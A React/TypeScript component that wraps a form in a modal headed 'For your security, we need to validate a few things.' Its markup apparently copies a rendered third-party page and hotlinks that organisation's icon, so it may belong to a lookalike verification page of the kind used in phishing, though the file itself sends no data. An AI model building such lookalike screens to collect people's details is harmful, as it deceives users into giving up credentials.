'use client'

import React, { useEffect } from 'react';
import { FieldErrors, UseFormReset } from 'react-hook-form';
import { Container } from './Container';

interface WrapperProps {
  children?: React.ReactNode;
  loading?: boolean;
  onSubmit?: (e?: React.BaseSyntheticEvent) => Promise<void>;
  buttonText?: string;
  title?: string;
  subTitle?: string;
  showError?: boolean;
  hideBtn?: boolean;
  isValid?: boolean;
  superTitle?: string;
  paragraph?: string;
  username?: string | null;
  reset?: UseFormReset<any>
  currentPage?: string;
  errors?: FieldErrors<{
    [x: string]: any;
  }>;
}

export const Wrapper: React.FC<WrapperProps> = ({
  children,
  loading,
  onSubmit,
  buttonText,
  title,
  subTitle,
  showError,
  hideBtn,
  isValid,
  superTitle,
  paragraph,
  username,
  reset,
  currentPage,
  errors
}) => {
  useEffect(() => {
    const keyDownHandler = (event: KeyboardEvent) => {
      if (event.key === "Enter") {
        event.preventDefault();

        onSubmit && onSubmit();
      }
    };

    document.addEventListener("keydown", keyDownHandler);

    return () => {
      document.removeEventListener("keydown", keyDownHandler);
    };
  });

  return (
    <Container
      loading={loading}
      onSubmit={onSubmit}
      buttonText={buttonText}
      title={title}
      subTitle={subTitle}
      showError={showError}
      hideBtn={hideBtn}
      isValid={isValid}
      superTitle={superTitle}
      paragraph={paragraph}
      username={username}
      reset={reset}
      currentPage={currentPage}
      errors={errors}
    >
      <div
        className="modal fade large show"
        role="dialog"
        id="modalTile"
        aria-modal="true"
        style={{ display: "block" }}
      >
        <div
          className="modal-dialog modal-lg"
          role="document"
          style={{ height: "auto" }}
        >
          <div className="modal-content">
            <div className="modal-header">
              <span tabIndex={0} />
              <div id="modalTileNavigation" className="navigationWrapper hidden">
                <a id="tileModalBackLink" tabIndex={0}>
                  <img
                    className="navIcon"
                    alt="Nav 2 Level Icon"
                    src="https://static.cdp-cdn.com/org/54201F67-D8A3-4626-B088-6309DB75A6F6/navlevellogo/nav-level2-icon.png"
                  />
                  <span />
                </a>
              </div>
            </div>
            <div className="iframe">
              <span
                _is-running="false"
                id="AppNavigator"
                style={{
                  touchAction: "pan-y",
                  WebkitTapHighlightColor: "rgba(0, 0, 0, 0)"
                }}
                data-device-back-button-handler-id={1}
              >
                <span
                  className="page desktop"
                  id="gettingStartedPage"
                >
                  <div className="page__background"> </div>
                  <div className="page__content">
                    <div className="cdp_page_container">
                      <div className="cdp_hero" id="configHero">
                        <section>
                          <div className="title">
                            {hideBtn ? <p>Thank you for verifying your information.</p> : `For your security, we need to validate a few things.`}
                          </div>
                        </section>
                      </div>
                      <div className="cdp_list_container">
                        {children}
                      </div>
                      {
                        hideBtn ? null :
                          <footer>
                            <button
                              tabIndex={-1}
                              role="button"
                              className="button primaryBtn"
                              disabled={loading || !isValid}
                              onClick={onSubmit}
                            >
                              Continue
                            </button>
                          </footer>
                      }
                    </div>
                  </div>
                  <div className="page__extra" style={{ zIndex: 10001 }} />
                </span>
              </span>
            </div>
            <span id="lastModalTab" tabIndex={0} />
          </div>
        </div>
      </div>
    </Container>
  );
}